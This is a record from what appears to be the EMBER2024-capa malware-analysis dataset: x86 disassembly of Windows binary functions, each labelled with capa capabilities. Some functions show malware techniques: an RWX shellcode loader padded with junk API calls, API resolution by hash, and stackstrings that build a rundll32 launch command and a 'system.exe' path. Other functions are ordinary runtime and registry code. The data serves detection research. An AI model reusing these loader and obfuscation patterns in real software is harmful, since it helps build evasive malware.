joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42d448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426698
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x84b670], 0x5b1
push ebx
push esi
push edi
jne 0x4016ed
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c70
push 0
mov dword [ebp - 4], 0
call fcn.00403a81
add esp, 4
jmp 0x401610
mov eax, dword [0x84b670]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84b670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84a5c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401739
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401726
mov ecx, dword [0x84b670]
xor esi, esi
test ecx, ecx
jbe 0x4017a9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x84b674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84a5c4]
mov byte [eax + esi], dl
mov ecx, dword [0x84b670]
cmp ecx, 0xa8
jne 0x4017a4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x84b670]
inc esi
cmp esi, ecx
jb 0x401760
xor eax, eax
jmp 0x4017b0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401845
inc eax
cmp eax, 0x39621
jl 0x4017b0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017dd
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017d1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, 0x7b
jmp 0x401800
cmp dword [0x84b670], 0x86
jne 0x40182a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401800
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401550
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x20], eax
push 0x104
lea eax, [ebp - 0x2c0]
push eax
call dword [ebp - 0x20]
push 0x1c368da0
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x14], eax
call dword [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x15c]
push ecx
call section..text
add esp, 0xc
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x144], 0x2e
mov byte [ebp - 0x143], 0x64
mov byte [ebp - 0x142], 0x6c
mov byte [ebp - 0x141], 0x6c
mov byte [ebp - 0x140], 0
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x2c0]
push eax
call fcn.00401270
add esp, 8
lea ecx, [ebp - 0x15c]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00401270
add esp, 8
lea eax, [ebp - 0x144]
push eax
lea ecx, [ebp - 0x2c0]
push ecx
call fcn.00401270
add esp, 8
push 0x4e1e0843
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x1ac], eax
push 0x7463a627
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x148], eax
push 0x70ebfb28
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x1c], eax
push 0x289fbd13
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea edx, [ebp - 0x2c0]
push edx
call dword [ebp - 0x1ac]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
je 0x4016af
mov dword [ebp - 0x2c4], 0
push 0
lea eax, [ebp - 0x2c4]
push eax
push 0x5a00
push 0x41de50
mov ecx, dword [ebp - 0x13c]
push ecx
call dword [ebp - 0x148]
mov edx, dword [ebp - 0x13c]
push edx
call dword [ebp - 0x1c]
mov byte [ebp - 0x1b8], 0x52
mov byte [ebp - 0x1b7], 0x75
mov byte [ebp - 0x1b6], 0x6e
mov byte [ebp - 0x1b5], 0x64
mov byte [ebp - 0x1b4], 0x6c
mov byte [ebp - 0x1b3], 0x6c
mov byte [ebp - 0x1b2], 0x33
mov byte [ebp - 0x1b1], 0x32
mov byte [ebp - 0x1b0], 0x20
mov byte [ebp - 0x1af], 0
mov byte [ebp - 0xc], 0x20
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 0x62
mov byte [ebp - 8], 0x63
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
push 0x44
push 0
lea eax, [ebp - 0x1a8]
push eax
call fcn.00401250
add esp, 0xc
mov dword [ebp - 0x1a8], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x138]
push ecx
call fcn.00401250
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x2c0]
push eax
call fcn.00401270
add esp, 8
lea ecx, [ebp - 0x1b8]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.00401d00
add esp, 8
lea eax, [ebp - 0x2c0]
push eax
lea ecx, [ebp - 0x128]
push ecx
call fcn.00401270
add esp, 8
push 0
lea edx, [ebp - 0x128]
push edx
call dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x401af0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
call fcn.004012f0
push 0x4ee61051
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00401100
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
push eax
call dword [ebp - 0x238]
call fcn.004012e0
call fcn.004017a0
call fcn.00401550
push 0x660c1c02
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea edx, [ebp - 0x220]
push edx
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.004011f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea ecx, [ebp - 0x234]
push ecx
lea edx, [ebp - 0x118]
push edx
call fcn.00401270
add esp, 8
push 1
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x220]
push ecx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403f63
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402e51
and dword [ebp - 4], 0
cmp dword [0x423e60], 0
mov ebx, eax
jne 0x404014
push 0x408870
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4040c5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x408864
push edi
call esi
test eax, eax
je 0x4040c5
push eax
call fcn.00402ddf
mov dword [esp], 0x408854
push edi
mov dword [0x423e60], eax
call esi
push eax
call fcn.00402ddf
mov dword [esp], 0x408840
push edi
mov dword [0x423e64], eax
call esi
push eax
call fcn.00402ddf
mov dword [esp], 0x408824
push edi
mov dword [0x423e68], eax
call esi
push eax
call fcn.00402ddf
pop ecx
mov dword [0x423e70], eax
test eax, eax
je 0x404014
push 0x40880c
push edi
call esi
push eax
call fcn.00402ddf
pop ecx
mov dword [0x423e6c], eax
mov eax, dword [0x423e6c]
cmp eax, ebx
je 0x40406c
cmp dword [0x423e70], ebx
je 0x40406c
push eax
call fcn.00402e5a
push dword [0x423e70]
mov esi, eax
call fcn.00402e5a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40406c
test edi, edi
je 0x40406c
call esi
test eax, eax
je 0x404063
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404063
test byte [ebp - 0xc], 1
jne 0x40406c
or dword [ebp + 0x10], 0x200000
jmp 0x4040a5
mov eax, dword [0x423e64]
cmp eax, ebx
je 0x4040a5
push eax
call fcn.00402e5a
pop ecx
test eax, eax
je 0x4040a5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4040a5
mov eax, dword [0x423e68]
cmp eax, ebx
je 0x4040a5
push eax
call fcn.00402e5a
pop ecx
test eax, eax
je 0x4040a5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e60]
call fcn.00402e5a
pop ecx
test eax, eax
je 0x4040c5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4040c7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405d3e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a9f8]
jne 0x405d48
repz ret
jmp fcn.00407465
Function at 0x401000
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
push str.NVD0000
push 0x40bc58
push str._s_hs_sDevice_ParametersEDID_OVERRIDE
lea eax, [ebp - 0x104]
push 0x100
push eax
call fcn.004023ca
add esp, 0x18
cmp eax, 0x100
jl 0x40105c
mov eax, dword [0x40ea38]
or eax, 0xfffffffe
mov dword [0x40ea38], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 0x108]
push ecx
push 0
push 2
push 0
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401041
or dword [0x40ea38], 1
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
push edi
xor edi, edi
mov esi, 0x40b9d8
lea esp, [esp]
push edi
push 0x40bcac
lea eax, [ebp - 0x104]
push 0x100
push eax
call fcn.004023ca
add esp, 0x10
cmp eax, 0x100
jge 0x401199
test edi, edi
je 0x401112
cmp byte [esi], 0
jne 0x401112
mov edx, dword [ebp - 0x108]
lea ecx, [ebp - 0x104]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x401130
add eax, 0xfffffffe
cmp eax, 1
jbe 0x401137
mov eax, dword [ebp - 0x108]
mov esi, 0xfffffffe
or dword [0x40ea38], esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x40115f
or dword [0x40ea38], esi
jmp 0x40115f
mov ecx, dword [ebp - 0x108]
push 0x80
push esi
push 3
push 0
lea eax, [ebp - 0x104]
push eax
push ecx
call ebx
test eax, eax
jne 0x401175
or dword [0x40ea38], 1
sub esi, 0xffffff80
inc edi
cmp esi, 0x40bbd8
jl 0x4010a0
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x40115f
or dword [0x40ea38], 0xfffffffe
mov ecx, dword [ebp - 4]
mov eax, dword [0x40ea38]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004020bf
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x108]
mov esi, 0xfffffffe
or dword [0x40ea38], esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x40115f
or dword [0x40ea38], esi
jmp 0x40115f
mov edx, dword [ebp - 0x108]
mov esi, 0xfffffffe
or dword [0x40ea38], esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x40115f
or dword [0x40ea38], esi
jmp 0x40115f
Function at 0x4011c0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
push str.NVD0000
push 0x40bc58
push str._s_hs_sDevice_Parameters
lea eax, [ebp - 0x104]
push 0x100
push eax
call fcn.004023ca
add esp, 0x18
cmp eax, 0x100
jl 0x40121c
mov eax, dword [0x40ea38]
or eax, 0xfffffffe
mov dword [0x40ea38], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x108]
push ecx
push 2
push 0
lea edx, [ebp - 0x104]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40125f
add eax, 0xfffffffe
cmp eax, 1
jbe 0x40124c
or dword [0x40ea38], 0xfffffffe
mov eax, dword [0x40ea38]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x108]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
push str.EDID_OVERRIDE
push eax
call esi
test eax, eax
je 0x4012b6
add eax, 0xfffffffe
cmp eax, 1
jbe 0x4012bd
mov ecx, dword [ebp - 0x108]
mov esi, 0xfffffffe
or dword [0x40ea38], esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4012fd
or dword [0x40ea38], esi
mov eax, dword [0x40ea38]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
or dword [0x40ea38], 1
mov edx, dword [ebp - 0x108]
push str.EDID
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x401311
add eax, 0xfffffffe
cmp eax, 1
jbe 0x401318
mov eax, dword [ebp - 0x108]
mov esi, 0xfffffffe
or dword [0x40ea38], esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4012fd
or dword [0x40ea38], esi
mov eax, dword [0x40ea38]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
or dword [0x40ea38], 1
mov ecx, dword [ebp - 0x108]
push str.EDID_RECOVERY
push ecx
call esi
test eax, eax
je 0x40133b
add eax, 0xfffffffe
cmp eax, 1
jbe 0x401342
or dword [0x40ea38], 0xfffffffe
jmp 0x401342
or dword [0x40ea38], 1
mov eax, dword [ebp - 0x108]
call fcn.00401e40
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004020bf
mov esp, ebp
pop ebp
ret
Function at 0x401360
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push str.NVD0000
push 0x40bc58
push str._s_hs
mov ebx, 0x100
lea eax, [ebp - 0x104]
push ebx
push eax
call fcn.004023ca
add esp, 0x14
cmp eax, ebx
jl 0x4013b8
mov eax, dword [0x40ea38]
or eax, 0xfffffffe
mov dword [0x40ea38], eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x108]
push ecx
push 8
push 0
lea edx, [ebp - 0x104]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4013ea
add eax, 0xfffffffe
cmp eax, 1
jbe 0x4014dc
jmp 0x4014d5
mov eax, dword [ebp + 8]
sub eax, 0
push esi
push edi
je 0x4014a0
dec eax
je 0x40144c
dec eax
jne 0x4014c2
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
xor esi, esi
lea ebx, [ebx]
mov edx, dword [ebp - 0x108]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x104]
push ecx
push esi
push edx
mov dword [ebp - 0x10c], ebx
call edi
test eax, eax
jne 0x401490
lea eax, [ebp - 0x104]
push eax
call fcn.004011c0
add esp, 4
inc esi
jmp 0x401410
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
xor esi, esi
mov eax, dword [ebp - 0x108]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
push eax
mov dword [ebp - 0x10c], ebx
call edi
test eax, eax
jne 0x401490
lea ecx, [ebp - 0x104]
push ecx
call section..text
add esp, 4
inc esi
jmp 0x401454
cmp eax, 0x103
je 0x4014c2
or dword [0x40ea38], 0xfffffffe
jmp 0x4014c2
mov edx, dword [ebp - 0x108]
push edx
lea ecx, [ebp - 0x104]
xor edx, edx
call fcn.00401df0
add esp, 4
cmp eax, 1
jne 0x4014c2
or dword [0x40ea38], eax
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
test eax, eax
je 0x4014dc
or dword [0x40ea38], 0xfffffffe
mov ecx, dword [ebp - 4]
mov eax, dword [0x40ea38]
xor ecx, ebp
pop ebx
call fcn.004020bf
mov esp, ebp
pop ebp
ret
Function at 0x4018f0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, str.Default_Monitor
mov eax, str.NVD0000
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401930
test dl, dl
je 0x40192c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401930
add eax, 2
add ecx, 2
test dl, dl
jne 0x401910
xor eax, eax
jmp 0x401935
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4019fe
lea eax, [ebp - 0x108]
push eax
push 8
push 0
push str.SYSTEMCurrentControlSetControlClass4d36e968_e325_11ce_bfc1_08002be10318
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401982
add eax, 0xfffffffe
cmp eax, 1
jbe 0x4019fe
or dword [0x40ea38], 0xfffffffe
mov eax, dword [0x40ea38]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
xor esi, esi
lea esp, [esp]
mov eax, dword [ebp - 0x108]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
push eax
mov dword [ebp - 0x10c], 0x100
call edi
test eax, eax
jne 0x4019d3
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x104]
call fcn.004014f0
add esp, 4
inc esi
jmp 0x401990
mov esi, 0xfffffffe
cmp eax, 0x103
je 0x4019e5
or dword [0x40ea38], esi
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x4019fc
or dword [0x40ea38], esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
mov eax, dword [0x40ea38]
xor ecx, ebp
call fcn.004020bf
mov esp, ebp
pop ebp
ret
Function at 0x401eb0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, 0x80
push edi
call fcn.004024b0
mov esi, eax
add esp, 4
test esi, esi
je 0x401fb5
lea eax, [ebp - 4]
push eax
push esi
lea ecx, [ebp - 8]
push ecx
push 0
push str.FakeEDID_14_0_af0d_1723
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, 0xea
ja case.0x401efc.5
movzx edx, byte [eax + 0x401fd4]
jmp dword [edx*4 + 0x401fc8]
cmp dword [ebp - 8], 3
jne 0x401f63
cmp dword [ebp - 4], edi
jne 0x401f63
mov eax, edi
mov ecx, 0x40bbd8
mov edi, esi
mov edx, dword [edi]
cmp edx, dword [ecx]
jne 0x401f63
sub eax, 4
add ecx, 4
add edi, 4
cmp eax, 4
jae 0x401f17
test eax, eax
je 0x401f4f
mov dl, byte [ecx]
cmp dl, byte [edi]
jne 0x401f63
cmp eax, 1
jbe 0x401f4f
mov dl, byte [ecx + 1]
cmp dl, byte [edi + 1]
jne 0x401f63
cmp eax, 2
jbe 0x401f4f
mov al, byte [ecx + 2]
cmp al, byte [edi + 2]
jne 0x401f63
push esi
call fcn.00402476
add esp, 4
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00402476
add esp, 4
push 0x80
push 0x40bbd8
push 3
push 0
push str.FakeEDID_14_0_af0d_1723
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
mov eax, 1
je 0x401fba
mov eax, 0xfffffffe
or dword [0x40ea38], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.00402476
add esp, 4
push edi
jmp 0x401f71
push esi
call fcn.00402476
add esp, 4
mov eax, 0xfffffffe
or dword [0x40ea38], eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4020bf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d004]
jne 0x4020c9
repz ret
jmp fcn.004026e4
Function at 0x407d4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403207
and dword [ebp - 0x14], 0
cmp dword [0x40ea1c], 0
mov dword [ebp - 0x18], eax
jne 0x407dff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x407ea7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x407ea7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40ea1c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40ea20], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40ea24], eax
call edi
push eax
call esi
mov dword [0x40ea2c], eax
test eax, eax
je 0x407dff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40ea28], eax
mov eax, dword [0x40ea28]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407e58
cmp dword [0x40ea2c], ecx
je 0x407e58
push eax
call esi
push dword [0x40ea2c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407e58
test ebx, ebx
je 0x407e58
call edi
test eax, eax
je 0x407e4f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x407e4f
test byte [ebp - 8], 1
jne 0x407e58
or dword [ebp + 0x10], 0x200000
jmp 0x407e8b
mov eax, dword [0x40ea20]
cmp eax, dword [ebp - 0x18]
je 0x407e8b
push eax
call esi
test eax, eax
je 0x407e8b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x407e8b
mov eax, dword [0x40ea24]
cmp eax, dword [ebp - 0x18]
je 0x407e8b
push eax
call esi
test eax, eax
je 0x407e8b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40ea1c]
call esi
test eax, eax
je 0x407ea7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x407ea9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004020bf
leave
ret
Function at 0x10001210
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001229
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001264
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x10001260
lea ebx, [ebx]
cmp esi, eax
jae 0x10001264
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10001250
cmp esi, eax
jb 0x1000126a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret